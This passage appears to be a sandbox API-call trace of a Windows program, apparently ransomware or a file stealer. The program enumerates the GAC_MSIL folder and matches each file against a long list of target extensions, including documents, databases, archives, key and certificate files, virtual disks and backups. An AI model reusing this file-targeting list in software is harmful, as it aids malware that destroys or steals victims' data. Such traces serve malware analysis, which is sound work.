(pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.ost") returned 0 [0099.196] lstrlenA (lpString="*.ost") returned 5 [0099.196] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.idx") returned 0 [0099.196] lstrlenA (lpString="*.idx") returned 5 [0099.196] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.dbx") returned 0 [0099.196] lstrlenA (lpString="*.dbx") returned 5 [0099.196] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.sql") returned 0 [0099.196] lstrlenA (lpString="*.sql") returned 5 [0099.196] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.mdb") returned 0 [0099.196] lstrlenA (lpString="*.mdb") returned 5 [0099.196] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.fdb") returned 0 [0099.196] lstrlenA (lpString="*.fdb") returned 5 [0099.196] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.wab") returned 0 [0099.196] lstrlenA (lpString="*.wab") returned 5 [0099.196] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.dat") returned 0 [0099.196] lstrlenA (lpString="*.dat") returned 5 [0099.196] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.txt") returned 0 [0099.196] lstrlenA (lpString="*.txt") returned 5 [0099.197] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.jpeg") returned 0 [0099.197] lstrlenA (lpString="*.jpeg") returned 6 [0099.197] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.jpg") returned 0 [0099.197] lstrlenA (lpString="*.jpg") returned 5 [0099.197] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.png") returned 0 [0099.197] lstrlenA (lpString="*.png") returned 5 [0099.197] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.php") returned 0 [0099.197] lstrlenA (lpString="*.php") returned 5 [0099.197] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.cs") returned 0 [0099.197] lstrlenA (lpString="*.cs") returned 4 [0099.197] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.cpp") returned 0 [0099.197] lstrlenA (lpString="*.cpp") returned 5 [0099.198] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.rar") returned 0 [0099.198] lstrlenA (lpString="*.rar") returned 5 [0099.198] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.zip") returned 0 [0099.198] lstrlenA (lpString="*.zip") returned 5 [0099.198] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.html") returned 0 [0099.198] lstrlenA (lpString="*.html") returned 6 [0099.198] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.htm") returned 0 [0099.198] lstrlenA (lpString="*.htm") returned 5 [0099.198] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.xlsx") returned 0 [0099.198] lstrlenA (lpString="*.xlsx") returned 6 [0099.198] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.xls") returned 0 [0099.198] lstrlenA (lpString="*.xls") returned 5 [0099.198] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.mp4") returned 0 [0099.198] lstrlenA (lpString="*.mp4") returned 5 [0099.198] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.ppt") returned 0 [0099.198] lstrlenA (lpString="*.ppt") returned 5 [0099.198] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.pptx") returned 0 [0099.199] lstrlenA (lpString="*.pptx") returned 6 [0099.199] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.doc") returned 0 [0099.199] lstrlenA (lpString="*.doc") returned 5 [0099.199] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.dot") returned 0 [0099.199] lstrlenA (lpString="*.dot") returned 5 [0099.199] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.docx") returned 0 [0099.199] lstrlenA (lpString="*.docx") returned 6 [0099.199] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.7z") returned 0 [0099.199] lstrlenA (lpString="*.7z") returned 4 [0099.199] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.tar") returned 0 [0099.199] lstrlenA (lpString="*.tar") returned 5 [0099.199] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.bz2") returned 0 [0099.199] lstrlenA (lpString="*.bz2") returned 5 [0099.199] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.gz") returned 0 [0099.199] lstrlenA (lpString="*.gz") returned 4 [0099.199] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.mkv") returned 0 [0099.199] lstrlenA (lpString="*.mkv") returned 5 [0099.199] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.eml") returned 0 [0099.199] lstrlenA (lpString="*.eml") returned 5 [0099.200] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.msg") returned 0 [0099.200] lstrlenA (lpString="*.msg") returned 5 [0099.200] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.edb") returned 0 [0099.200] lstrlenA (lpString="*.edb") returned 5 [0099.200] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.accdb") returned 0 [0099.200] lstrlenA (lpString="*.accdb") returned 7 [0099.200] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.odb") returned 0 [0099.200] lstrlenA (lpString="*.odb") returned 5 [0099.200] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.java") returned 0 [0099.200] lstrlenA (lpString="*.java") returned 6 [0099.200] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.asm") returned 0 [0099.200] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.pfx") returned 0 [0099.201] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.pem") returned 0 [0099.201] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.p12") returned 0 [0099.201] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.gpg") returned 0 [0099.201] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.vsd") returned 0 [0099.201] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.odg") returned 0 [0099.201] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.raw") returned 0 [0099.201] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.nef") returned 0 [0099.201] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.svg") returned 0 [0099.201] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.psd") returned 0 [0099.201] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.vmx") returned 0 [0099.202] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.vmdk") returned 0 [0099.202] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.vdi") returned 0 [0099.202] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.lay6") returned 0 [0099.202] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.mpeg") returned 0 [0099.202] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.djvu") returned 0 [0099.202] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.tiff") returned 0 [0099.202] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.backup") returned 0 [0099.202] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.pdf") returned 0 [0099.202] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.cert") returned 0 [0099.202] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.docm") returned 0 [0099.203] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.xlsm") returned 0 [0099.203] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.dwg") returned 0 [0099.203] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.nd") returned 0 [0099.203] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.tlg") returned 0 [0099.203] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.lgb") returned 0 [0099.203] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.mov") returned 0 [0099.203] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.xdw") returned 0 [0099.203] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.ods") returned 0 [0099.203] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.wav") returned 0 [0099.203] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.mp3") returned 0 [0099.204] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.aiff") returned 0 [0099.204] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.flac") returned 0 [0099.204] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.m4a") returned 0 [0099.204] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.csv") returned 0 [0099.204] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69b41ff0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69b41ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69b41ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xd000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0099.204] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0099.204] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69b41ff0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69b41ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69b41ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="9.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="900~1.0__")) returned 0 [0099.204] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0099.204] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf530c580, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf530c580, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf530c580, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e39762e, dwReserved1=0x6c642e30, cFileName="Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0", cAlternateFileName="MID8A5~1.0")) returned 1 [0099.205] lstrcmpA (lpString1=".", lpString2="Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0") returned -1 [0099.205] lstrcmpA (lpString1="..", lpString2="Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0") returned -1 [0099.205] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0099.205] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0" [0099.205] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf530c580, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf530c580, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf530c580, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0099.205] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0099.205] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf530c580, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf530c580, 